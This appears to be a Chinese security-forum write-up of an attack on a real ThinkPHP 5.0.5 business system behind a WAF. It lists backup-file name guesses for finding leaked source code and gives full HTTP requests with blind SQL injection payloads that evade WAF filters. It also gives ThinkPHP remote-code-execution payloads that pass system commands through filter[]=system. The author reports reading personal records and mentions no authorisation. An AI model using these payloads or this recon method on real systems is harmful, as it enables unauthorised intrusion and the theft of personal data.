0x01 开始:

[+] 基本信息:

  • Thinkphp5.0.5
  • 存在WAF,貌似是某武盾

  • 某费业务系统

[+] 关键点:

在得到目标域名时,结合目公司名称关键字,还有域名的关键字,试着与敏感的备份文件简单组合一下,得到简单的敏感文件字典,字典大致格式为,进行简单的目录扫描,手动去测试逻辑部分,不一会儿目录扫描结果得到业务系统的备份文件,名称为: 关键字+backup.tar.gz

关键字+buckup.zip
关键字+buckup.rar
关键字+buckup.zip.tar
关键字+buckup.tar.gz
www+关键字.zip
www+关键字.rar
www+关键字.zip.tar
www+关键字.tar.gz
关键字.zip
关键字.rar
可以随意组合即可,也可以看一下参数命名方式,猜测管理员的命名习惯.....

0x02 代码审计

系统是由ThinkPHP5.0.5进行二次开发而搭建的,因为以前只是简单看过ThinkPHP代码,并不了解Thinkphp,google了一下,对应目录结构,看一下代码:

[+] 系统路由:

[+] SQL注入漏洞

身份证号处:

(1)正常传参:

对输入没有任何限制,只是前端限制了输入长度,抓包后,随便传个id,就得到个人数据

(2)注入测试
  • 存在WAF,后端数据库为MySQLThinkPHP-dubug 也没有开启,简单构造盲注证明一下危害即可:

Payload:

  • 查询user长度,长度为14:
POST /index/index/p_card.html HTTP/1.1
Content-Length: 59
Accept: application/json, text/javascript, */*; q=0.01
DNT: 1
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,zh-TW;q=0.8,en-US;q=0.7,en;q=0.6
Connection: close

card=1")/(case when length(user())=0 then 1 else 0 end)+--+

  • 查询内容,因为ascii函数拦截,替换为char函数,缺点是大小写不敏感,用 like binary代替:
Paylaod:
POST /index/index/p_card.html HTTP/1.1
Content-Length: 71
Accept: application/json, text/javascript, */*; q=0.01
DNT: 1
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,zh-TW;q=0.8,en-US;q=0.7,en;q=0.6
Connection: close

card=3")/(case when substr(user(),1,1)like binary 'a' then 1 else 0 end)+--+

注个用户名证明下就可以了….

看了其他代码之后都是一样的风格,注入有很多处….

大同小异,都是直接拼接而且没有任何过滤

[+] THinkPHP RCE

ThinkPHP老漏洞,因为目标有WAF自己的被动扫描也没效果,把代码过了一下,发现还是存在,本地搭起来可以复现,具体分析过程可以看y4er大佬博客,我自己跟了一下,结果如下 :

Paylaod:

POST?s=index/index

s=whoami&_method=__construct&method=POST&filter[]=system
aaaa=whoami&_method=__construct&method=GET&filter[]=system
_method=__construct&method=GET&filter[]=system&get[]=whoami
get[]=whaomi&_method=__construct&method=get&filter=system

本地验证成功,WAF没绕过去,自己测试了一下发现WAF拦截的是filter关键字,没其他想法了,卒….

前台功能点少,只有几个查询,没啥shell的点….

太菜了… 总结一下所有SQL摸鱼完事…

0x03 参考链接

点击收藏 | 2 关注 | 1
  • 动动手指,沙发就是你的了!
登录 后跟帖